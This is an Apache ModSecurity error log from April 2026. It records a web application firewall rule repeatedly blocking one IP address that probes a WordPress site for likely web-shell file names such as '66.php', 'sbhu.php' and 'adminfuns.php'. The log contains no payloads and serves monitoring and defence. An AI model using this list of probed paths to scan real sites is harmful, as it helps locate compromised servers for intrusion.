[Sun Apr 12 12:13:22.317467 2026] [:error] [pid 60280:tid 60283] [client 20.215.64.75:52423] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/admin.php"] [unique_id "adsb4nBlLnDOYuIykkiknwAAAcE"]
[Sun Apr 12 12:13:22.834452 2026] [:error] [pid 60280:tid 60306] [client 20.215.64.75:52425] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/admin.php"] [unique_id "adsb4nBlLnDOYuIykkikpAAAAdg"]
[Sun Apr 12 12:13:23.362118 2026] [:error] [pid 25437:tid 25448] [client 20.215.64.75:9226] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/admin.php"] [unique_id "adsb43f97wYZje1ep_PH8wAAAMk"]
[Sun Apr 12 12:13:23.877989 2026] [:error] [pid 26567:tid 26588] [client 20.215.64.75:59102] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/66.php"] [unique_id "adsb43hRpg6ptWFyFx1epgAAARM"]
[Sun Apr 12 12:13:24.446685 2026] [:error] [pid 26600:tid 26646] [client 20.215.64.75:9951] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/66.php"] [unique_id "adsb5O1YwAZiXhQKLYrZAAAAAZE"]
[Sun Apr 12 12:13:24.972439 2026] [:error] [pid 25437:tid 25442] [client 20.215.64.75:9541] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/66.php"] [unique_id "adsb5Hf97wYZje1ep_PH9wAAAMM"]
[Sun Apr 12 12:13:25.480294 2026] [:error] [pid 60280:tid 60292] [client 20.215.64.75:59725] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/66.php"] [unique_id "adsb5XBlLnDOYuIykkikqQAAAco"]
[Sun Apr 12 12:13:25.995509 2026] [:error] [pid 60280:tid 60297] [client 20.215.64.75:52446] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a5.php"] [unique_id "adsb5XBlLnDOYuIykkikrAAAAc8"]
[Sun Apr 12 12:13:26.515843 2026] [:error] [pid 25328:tid 25408] [client 20.215.64.75:61005] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a5.php"] [unique_id "adsb5sxUaQZxT-e0YsCDFQAAAFg"]
[Sun Apr 12 12:13:27.075849 2026] [:error] [pid 25328:tid 25394] [client 20.215.64.75:62921] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a5.php"] [unique_id "adsb58xUaQZxT-e0YsCDGQAAAFI"]
[Sun Apr 12 12:13:27.582174 2026] [:error] [pid 60280:tid 60284] [client 20.215.64.75:59107] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a5.php"] [unique_id "adsb53BlLnDOYuIykkiksQAAAcI"]
[Sun Apr 12 12:13:28.096482 2026] [:error] [pid 60280:tid 60300] [client 20.215.64.75:9550] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ol.php"] [unique_id "adsb6HBlLnDOYuIykkikswAAAdI"]
[Sun Apr 12 12:13:28.611306 2026] [:error] [pid 26600:tid 26638] [client 20.215.64.75:62947] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ol.php"] [unique_id "adsb6O1YwAZiXhQKLYrZBgAAAYk"]
[Sun Apr 12 12:13:29.138305 2026] [:error] [pid 60280:tid 60282] [client 20.215.64.75:59719] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ol.php"] [unique_id "adsb6XBlLnDOYuIykkikuwAAAcA"]
[Sun Apr 12 12:13:29.668989 2026] [:error] [pid 60280:tid 60287] [client 20.215.64.75:59072] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ol.php"] [unique_id "adsb6XBlLnDOYuIykkikvgAAAcU"]
[Sun Apr 12 12:13:30.197593 2026] [:error] [pid 26599:tid 26624] [client 20.215.64.75:59077] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f6.php"] [unique_id "adsb6nG89LXoQbk_rwCXXAAAAVY"]
[Sun Apr 12 12:13:30.716694 2026] [:error] [pid 26567:tid 26592] [client 20.215.64.75:51211] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f6.php"] [unique_id "adsb6nhRpg6ptWFyFx1eqAAAARc"]
[Sun Apr 12 12:13:31.247947 2026] [:error] [pid 26599:tid 26603] [client 20.215.64.75:62944] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f6.php"] [unique_id "adsb63G89LXoQbk_rwCXXgAAAUE"]
[Sun Apr 12 12:13:31.789125 2026] [:error] [pid 60280:tid 60301] [client 20.215.64.75:61044] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f6.php"] [unique_id "adsb63BlLnDOYuIykkikxQAAAdM"]
[Sun Apr 12 12:13:32.327493 2026] [:error] [pid 60280:tid 60290] [client 20.215.64.75:62912] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inputs.php"] [unique_id "adsb7HBlLnDOYuIykkikxwAAAcg"]
[Sun Apr 12 12:13:32.875697 2026] [:error] [pid 60280:tid 60306] [client 20.215.64.75:9538] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inputs.php"] [unique_id "adsb7HBlLnDOYuIykkikygAAAdg"]
[Sun Apr 12 12:13:33.415310 2026] [:error] [pid 60280:tid 60295] [client 20.215.64.75:59723] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inputs.php"] [unique_id "adsb7XBlLnDOYuIykkikzgAAAc0"]
[Sun Apr 12 12:13:33.953931 2026] [:error] [pid 60280:tid 60296] [client 20.215.64.75:61023] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inputs.php"] [unique_id "adsb7XBlLnDOYuIykkik0AAAAc4"]
[Sun Apr 12 12:13:34.469300 2026] [:error] [pid 60280:tid 60285] [client 20.215.64.75:59716] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/style.php"] [unique_id "adsb7nBlLnDOYuIykkik1QAAAcM"]
[Sun Apr 12 12:13:34.994934 2026] [:error] [pid 25329:tid 25399] [client 20.215.64.75:59079] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/style.php"] [unique_id "adsb7mdcIYsS8Iyaj118ZQAAAI0"]
[Sun Apr 12 12:13:35.525627 2026] [:error] [pid 25327:tid 25351] [client 20.215.64.75:61019] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/style.php"] [unique_id "adsb7y6h2tZEVJo9JFKU3QAAAA8"]
[Sun Apr 12 12:13:36.059556 2026] [:error] [pid 25328:tid 25369] [client 20.215.64.75:51263] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/style.php"] [unique_id "adsb8MxUaQZxT-e0YsCDIAAAAEU"]
[Sun Apr 12 12:13:36.614962 2026] [:error] [pid 25437:tid 25452] [client 20.215.64.75:52469] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aa.php"] [unique_id "adsb8Hf97wYZje1ep_PH_wAAAM0"]
[Sun Apr 12 12:13:37.139038 2026] [:error] [pid 60280:tid 60285] [client 20.215.64.75:62926] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aa.php"] [unique_id "adsb8XBlLnDOYuIykkik3gAAAcM"]
[Sun Apr 12 12:13:37.688325 2026] [:error] [pid 26599:tid 26620] [client 20.215.64.75:9585] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aa.php"] [unique_id "adsb8XG89LXoQbk_rwCXYwAAAVI"]
[Sun Apr 12 12:13:38.223331 2026] [:error] [pid 26599:tid 26616] [client 20.215.64.75:59086] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aa.php"] [unique_id "adsb8nG89LXoQbk_rwCXZAAAAU4"]
[Sun Apr 12 12:13:38.749936 2026] [:error] [pid 25437:tid 25439] [client 20.215.64.75:61040] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/av.php"] [unique_id "adsb8nf97wYZje1ep_PIAwAAAMA"]
[Sun Apr 12 12:13:45.887615 2026] [:error] [pid 26567:tid 26583] [client 20.215.64.75:52459] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbhu.php"] [unique_id "adsb-XhRpg6ptWFyFx1euAAAAQ4"]
[Sun Apr 12 12:13:46.402749 2026] [:error] [pid 60280:tid 60295] [client 20.215.64.75:59090] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbhu.php"] [unique_id "adsb-nBlLnDOYuIykkilGAAAAc0"]
[Sun Apr 12 12:13:46.973491 2026] [:error] [pid 60280:tid 60304] [client 20.215.64.75:9262] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbhu.php"] [unique_id "adsb-nBlLnDOYuIykkilHAAAAdY"]
[Sun Apr 12 12:13:47.491673 2026] [:error] [pid 25437:tid 25445] [client 20.215.64.75:52433] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbhu.php"] [unique_id "adsb-3f97wYZje1ep_PIEwAAAMY"]
[Sun Apr 12 12:13:48.008159 2026] [:error] [pid 25328:tid 25383] [client 20.215.64.75:62956] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-blog.php"] [unique_id "adsb_MxUaQZxT-e0YsCDOgAAAE0"]
[Sun Apr 12 12:13:48.567442 2026] [:error] [pid 25437:tid 25461] [client 20.215.64.75:9597] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-blog.php"] [unique_id "adsb_Hf97wYZje1ep_PIFQAAANY"]
[Sun Apr 12 12:13:49.074642 2026] [:error] [pid 25328:tid 25385] [client 20.215.64.75:9923] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-blog.php"] [unique_id "adsb_cxUaQZxT-e0YsCDOwAAAE4"]
[Sun Apr 12 12:13:49.614023 2026] [:error] [pid 26599:tid 26622] [client 20.215.64.75:52464] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-blog.php"] [unique_id "adsb_XG89LXoQbk_rwCXawAAAVQ"]
[Sun Apr 12 12:13:50.131704 2026] [:error] [pid 25328:tid 25366] [client 20.215.64.75:9279] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/jquery/"] [unique_id "adsb_sxUaQZxT-e0YsCDPQAAAEI"]
[Sun Apr 12 12:13:50.688172 2026] [:error] [pid 26599:tid 26617] [client 20.215.64.75:51233] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/jquery/"] [unique_id "adsb_nG89LXoQbk_rwCXbAAAAU8"]
[Sun Apr 12 12:13:51.215657 2026] [:error] [pid 25328:tid 25369] [client 20.215.64.75:52448] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/jquery/"] [unique_id "adsb_8xUaQZxT-e0YsCDQgAAAEU"]
[Sun Apr 12 12:13:51.724037 2026] [:error] [pid 60280:tid 60292] [client 20.215.64.75:61055] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/jquery/"] [unique_id "adsb_3BlLnDOYuIykkilIQAAAco"]
[Sun Apr 12 12:13:52.247945 2026] [:error] [pid 60280:tid 60283] [client 20.215.64.75:62965] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/admin.php"] [unique_id "adscAHBlLnDOYuIykkilIgAAAcE"]
[Sun Apr 12 12:13:52.764311 2026] [:error] [pid 60280:tid 60289] [client 20.215.64.75:9275] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/admin.php"] [unique_id "adscAHBlLnDOYuIykkilJAAAAcc"]
[Sun Apr 12 12:13:53.275184 2026] [:error] [pid 25328:tid 25383] [client 20.215.64.75:59756] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/admin.php"] [unique_id "adscAcxUaQZxT-e0YsCDSQAAAE0"]
[Sun Apr 12 12:13:53.779918 2026] [:error] [pid 60280:tid 60290] [client 20.215.64.75:60993] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/admin.php"] [unique_id "adscAXBlLnDOYuIykkilJgAAAcg"]
[Sun Apr 12 12:13:54.294315 2026] [:error] [pid 25327:tid 25357] [client 20.215.64.75:61012] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ms-edit.php"] [unique_id "adscAi6h2tZEVJo9JFKU4wAAABU"]
[Sun Apr 12 12:13:54.824982 2026] [:error] [pid 60280:tid 60286] [client 20.215.64.75:59123] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ms-edit.php"] [unique_id "adscAnBlLnDOYuIykkilKAAAAcQ"]
[Sun Apr 12 12:13:55.350693 2026] [:error] [pid 25327:tid 25342] [client 20.215.64.75:59100] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ms-edit.php"] [unique_id "adscAy6h2tZEVJo9JFKU5AAAAAY"]
[Sun Apr 12 12:13:55.855889 2026] [:error] [pid 26567:tid 26588] [client 20.215.64.75:62955] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ms-edit.php"] [unique_id "adscA3hRpg6ptWFyFx1euwAAARM"]
[Sun Apr 12 12:13:56.362123 2026] [:error] [pid 26600:tid 26647] [client 20.215.64.75:9249] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/adminfuns.php"] [unique_id "adscBO1YwAZiXhQKLYrZEwAAAZI"]
[Sun Apr 12 12:13:56.884043 2026] [:error] [pid 26600:tid 26645] [client 20.215.64.75:52427] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/adminfuns.php"] [unique_id "adscBO1YwAZiXhQKLYrZFgAAAZA"]
[Sun Apr 12 12:13:57.388160 2026] [:error] [pid 25437:tid 25448] [client 20.215.64.75:9238] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/adminfuns.php"] [unique_id "adscBXf97wYZje1ep_PIHwAAAMk"]
[Sun Apr 12 12:13:57.907397 2026] [:error] [pid 25437:tid 25456] [client 20.215.64.75:9573] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/adminfuns.php"] [unique_id "adscBXf97wYZje1ep_PIIgAAANE"]
